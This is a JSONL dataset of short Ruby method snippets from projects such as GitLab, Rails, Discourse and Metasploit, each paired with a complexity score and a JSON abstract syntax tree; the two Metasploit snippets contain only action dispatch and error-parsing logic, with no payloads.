{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/namespaces/restore_base_service.rb","start_line":87,"raw_source":"def log_event\n      log_info(\"User #{current_user.id} restored #{resource_name} #{resource.full_path}\")\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"User \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" restored \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"full_path\"]}]}]}]}]}","id":"64b588c1-1e4d-4ce6-80ec-d0c6fe198e5f"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/bespoke_1.rb","start_line":30,"raw_source":"def execute\n    import_users\n    import_categories\n    import_posts\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_users\"]},{\"type\":\"send\",\"children\":[null,\"import_categories\"]},{\"type\":\"send\",\"children\":[null,\"import_posts\"]}]}]}","id":"cf38e455-1a91-441b-9b30-88f91c8f53f5"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/application_policy.rb","start_line":181,"raw_source":"def scope\n    Pundit.policy_scope!(user, record.class)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pundit\"]},\"policy_scope!\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"class\"]}]}]}","id":"8c470dbb-4087-4048-8f3c-11e88d99de83"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":609,"raw_source":"def test_invert_create_virtual_table\n        drop = @recorder.inverse_of :create_virtual_table, [:searchables, :fts5, [\"content\", \"meta UNINDEXED\", \"tokenize='porter ascii'\"]]\n        assert_equal [:drop_virtual_table, [:searchables, :fts5, [\"content\", \"meta UNINDEXED\", \"tokenize='porter ascii'\"]], nil], drop\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_create_virtual_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"drop\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"create_virtual_table\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"searchables\"]},{\"type\":\"sym\",\"children\":[\"fts5\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"meta UNINDEXED\"]},{\"type\":\"str\",\"children\":[\"tokenize='porter ascii'\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"drop_virtual_table\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"searchables\"]},{\"type\":\"sym\",\"children\":[\"fts5\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"meta UNINDEXED\"]},{\"type\":\"str\",\"children\":[\"tokenize='porter ascii'\"]}]}]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"drop\"]}]}]}]}","id":"b6e60801-5ed3-46fd-bb09-bc86bc070857"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_set/builder.rb","start_line":97,"raw_source":"def initialize(types, values, additional_types, default_attributes, delegate_hash = {})\n      @types = types\n      @values = values\n      @additional_types = additional_types\n      @materialized = false\n      @delegate_hash = delegate_hash\n      @default_attributes = default_attributes\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"types\"]},{\"type\":\"arg\",\"children\":[\"values\"]},{\"type\":\"arg\",\"children\":[\"additional_types\"]},{\"type\":\"arg\",\"children\":[\"default_attributes\"]},{\"type\":\"optarg\",\"children\":[\"delegate_hash\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@types\",{\"type\":\"lvar\",\"children\":[\"types\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@values\",{\"type\":\"lvar\",\"children\":[\"values\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@additional_types\",{\"type\":\"lvar\",\"children\":[\"additional_types\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@materialized\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@delegate_hash\",{\"type\":\"lvar\",\"children\":[\"delegate_hash\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_attributes\",{\"type\":\"lvar\",\"children\":[\"default_attributes\"]}]}]}]}","id":"8a91450f-f1a5-4315-b3c1-e6775774cd0d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bitbucket_server/representation/activity.rb","start_line":46,"raw_source":"def committer_email\n        commit.dig('committer', 'emailAddress')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"committer_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commit\"]},\"dig\",{\"type\":\"str\",\"children\":[\"committer\"]},{\"type\":\"str\",\"children\":[\"emailAddress\"]}]}]}","id":"ae2e8090-075c-425f-8591-536ed3f160a3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/analytics/cycle_analytics/stages_resolver.rb","start_line":17,"raw_source":"def list_stages(list_service_params)\n          ::Analytics::CycleAnalytics::Stages::ListService.new(\n            parent: namespace,\n            current_user: current_user,\n            params: list_service_params\n          ).execute[:stages]\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"list_stages\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list_service_params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Analytics\"]},\"CycleAnalytics\"]},\"Stages\"]},\"ListService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"list_service_params\"]}]}]}]},\"execute\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"stages\"]}]}]}","id":"9bf39ed9-1070-4d32-9b46-4616f471982e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/sap/sap_igs_xmlchart_xxe.rb","start_line":289,"raw_source":"def run\n    case action.name\n    when 'READ'\n      action_file_read\n    when 'DOS'\n      action_dos\n    else\n      print_error(\"The action #{action.name} is not a supported action.\")\n    end\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"READ\"]},{\"type\":\"send\",\"children\":[null,\"action_file_read\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"DOS\"]},{\"type\":\"send\",\"children\":[null,\"action_dos\"]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The action \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" is not a supported action.\"]}]}]}]}]}","id":"759eec7c-a6b0-480d-81fd-d6846ba5169f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/action_cable.rb","start_line":84,"raw_source":"def transmit_counter\n          strong_memoize(\"transmission_counter\") do\n            ::Gitlab::Metrics.counter(\n              SINGLE_CLIENT_TRANSMISSION,\n              'The number of ActionCable messages transmitted to any client in any channel'\n            )\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"transmit_counter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"str\",\"children\":[\"transmission_counter\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Metrics\"]},\"counter\",{\"type\":\"const\",\"children\":[null,\"SINGLE_CLIENT_TRANSMISSION\"]},{\"type\":\"str\",\"children\":[\"The number of ActionCable messages transmitted to any client in any channel\"]}]}]}]}","id":"6f2eea45-375a-4b26-8b44-8738f5126d4d"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/gym/lib/gym/detect_values.rb","start_line":73,"raw_source":"def self.xcode_preferences_dictionary(path = xcode_preference_plist_path)\n      CFPropertyList.native_types(CFPropertyList::List.new(file: path).value)\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"xcode_preferences_dictionary\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"xcode_preference_plist_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CFPropertyList\"]},\"native_types\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CFPropertyList\"]},\"List\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]}]},\"value\"]}]}]}","id":"d757e9a8-0902-4dbb-be82-2a20f2a2b379"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/graphql/loaders/batch_commit_loader.rb","start_line":13,"raw_source":"def find\n          Gitlab::Graphql::Lazy.with_value(find_containers) do |container|\n            BatchLoader::GraphQL.for(oid).batch(key: container) do |oids, loader, args|\n              container = args[:key]\n\n              container.repository.commits_by(oids: oids).each do |commit|\n                loader.call(commit.id, commit) if commit\n              end\n            end\n          end\n        end","complexity_score":21.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Graphql\"]},\"Lazy\"]},\"with_value\",{\"type\":\"send\",\"children\":[null,\"find_containers\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchLoader\"]},\"GraphQL\"]},\"for\",{\"type\":\"send\",\"children\":[null,\"oid\"]}]},\"batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"container\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"oids\"]},{\"type\":\"arg\",\"children\":[\"loader\"]},{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"container\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"repository\"]},\"commits_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oids\"]},{\"type\":\"lvar\",\"children\":[\"oids\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"commit\"]}]},null]}]}]}]}]}]}","id":"809902d5-05bb-4054-a7bc-d175336bb8b3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/project_team.rb","start_line":50,"raw_source":"def add_members(users, access_level, current_user: nil, expires_at: nil)\n    Members::Projects::CreatorService.add_members( # rubocop:disable CodeReuse/ServiceClass\n      project,\n      users,\n      access_level,\n      current_user: current_user,\n      expires_at: expires_at\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"add_members\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"users\"]},{\"type\":\"arg\",\"children\":[\"access_level\"]},{\"type\":\"kwoptarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"expires_at\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"Projects\"]},\"CreatorService\"]},\"add_members\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"access_level\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expires_at\"]},{\"type\":\"lvar\",\"children\":[\"expires_at\"]}]}]}]}]}","id":"a2141739-785d-4ce6-959a-8942e80e7577"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":437,"raw_source":"def self.available_for_group(group)\n    group = get_group(group)\n    role = group.miq_user_role_name\n    # Return all widgets that either has this group's role or is allowed for all roles.\n    all.select do |w|\n      w.has_visibility?(:roles, role) || w.has_visibility?(:groups, group.description)\n    end\n  end","complexity_score":12.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_for_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"get_group\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"miq_user_role_name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"has_visibility?\",{\"type\":\"sym\",\"children\":[\"roles\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"has_visibility?\",{\"type\":\"sym\",\"children\":[\"groups\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"description\"]}]}]}]}]}]}","id":"e249a613-9c08-4045-ad76-0c2e56f2fce6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/brakeman.rb","start_line":136,"raw_source":"def test_version_between\n    assert version_between?(\"2.3.8\", \"2.3.0\", \"2.3.8\")\n    assert version_between?(\"2.3.8\", \"2.3.0\", \"2.3.14\")\n    assert version_between?(\"2.3.8\", \"1.0.0\", \"5.0.0\")\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_version_between\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.3.8\"]},{\"type\":\"str\",\"children\":[\"2.3.0\"]},{\"type\":\"str\",\"children\":[\"2.3.8\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.3.8\"]},{\"type\":\"str\",\"children\":[\"2.3.0\"]},{\"type\":\"str\",\"children\":[\"2.3.14\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[null,\"version_between?\",{\"type\":\"str\",\"children\":[\"2.3.8\"]},{\"type\":\"str\",\"children\":[\"1.0.0\"]},{\"type\":\"str\",\"children\":[\"5.0.0\"]}]}]}]}]}","id":"ed9ea343-2026-455e-9a07-cf39d272666e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/command_recorder_test.rb","start_line":586,"raw_source":"def test_invert_add_enum_value\n        assert_raises(ActiveRecord::IrreversibleMigration) do\n          @recorder.inverse_of :add_enum_value, [:dog_breed, :beagle]\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_invert_add_enum_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"IrreversibleMigration\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@recorder\"]},\"inverse_of\",{\"type\":\"sym\",\"children\":[\"add_enum_value\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"dog_breed\"]},{\"type\":\"sym\",\"children\":[\"beagle\"]}]}]}]}]}","id":"bbe74dff-fca5-423a-9a35-fdc175542b3e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/models/merge_request_spec.rb","start_line":2091,"raw_source":"def set_compare(merge_request)\n        merge_request.compare = CompareService.new(\n          merge_request.source_project,\n          merge_request.source_branch\n        ).execute(\n          merge_request.target_project,\n          merge_request.target_branch\n        )\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_compare\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"compare=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CompareService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"source_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"source_branch\"]}]},\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"target_branch\"]}]}]}]}","id":"3f243640-8eeb-4ac1-aa24-bafa4fdc5733"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_bigip_tmui_rce_cve_2020_5902.rb","start_line":260,"raw_source":"def parse_error(res)\n    return unless res\n\n    error =\n      case res.code\n      when 200\n        res.get_json_document['error']\n      when 500\n        # This is usually a java.lang.NullPointerException stack trace\n        res.get_html_document.at('//pre')&.text\n      else\n        res.body\n      end\n\n    return if error.blank?\n\n    \":\\n#{error.strip}\"\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"error\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[500]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_html_document\"]},\"at\",{\"type\":\"str\",\"children\":[\"//pre\"]}]},\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\":\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"strip\"]}]}]}]}]}","id":"797f37ac-4cb3-4007-a423-7346371fb356"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/runner.rb","start_line":175,"raw_source":"def self.trap_interrupt\n        trap('INT') { handle_interrupt }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"trap_interrupt\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trap\",{\"type\":\"str\",\"children\":[\"INT\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"handle_interrupt\"]}]}]}","id":"6b3b7af6-012d-42e8-95b0-7dce51657717"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/devise_overrides/omniauth_callbacks_controller.rb","start_line":22,"raw_source":"def sign_in_user_on_mobile\n    @resource.skip_confirmation! if confirmable_enabled?\n\n    # once the resource is found and verified\n    # we can just send them to the login page again with the SSO params\n    # that will log them in\n    encoded_email = ERB::Util.url_encode(@resource.email)\n    params = { email: encoded_email, sso_auth_token: @resource.generate_sso_auth_token }.to_query\n\n    mobile_deep_link_base = GlobalConfigService.load('MOBILE_DEEP_LINK_BASE', 'chatwootapp')\n    redirect_to \"#{mobile_deep_link_base}://auth/saml?#{params}\", allow_other_host: true\n  end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"sign_in_user_on_mobile\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"confirmable_enabled?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"skip_confirmation!\"]},null]},{\"type\":\"lvasgn\",\"children\":[\"encoded_email\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"url_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"email\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"encoded_email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sso_auth_token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@resource\"]},\"generate_sso_auth_token\"]}]}]},\"to_query\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mobile_deep_link_base\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalConfigService\"]},\"load\",{\"type\":\"str\",\"children\":[\"MOBILE_DEEP_LINK_BASE\"]},{\"type\":\"str\",\"children\":[\"chatwootapp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mobile_deep_link_base\"]}]},{\"type\":\"str\",\"children\":[\"://auth/saml?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_other_host\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"5c789602-efcb-403d-a021-322debb6b81b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_merge_request_title_regex_service.rb","start_line":31,"raw_source":"def valid_project_regex\n        regexp = Gitlab::UntrustedRegexp.with_fallback(project_regex)\n\n        regexp === merge_request.title\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_project_regex\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UntrustedRegexp\"]},\"with_fallback\",{\"type\":\"send\",\"children\":[null,\"project_regex\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp\"]},\"===\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"merge_request\"]},\"title\"]}]}]}]}","id":"c981ddb6-6e12-4996-ae22-ef3467e00939"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/stylesheet/manager/builder.rb","start_line":238,"raw_source":"def default_digest\n    Digest::SHA1.hexdigest \"default-#{Stylesheet::Manager.fs_asset_cachebuster}-#{plugins_digest}-#{current_hostname}\"\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"default_digest\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"SHA1\"]},\"hexdigest\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"default-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stylesheet\"]},\"Manager\"]},\"fs_asset_cachebuster\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"plugins_digest\"]}]},{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_hostname\"]}]}]}]}]}","id":"5320c4a3-4a1f-47b1-bec7-4e640ce26c1c"}
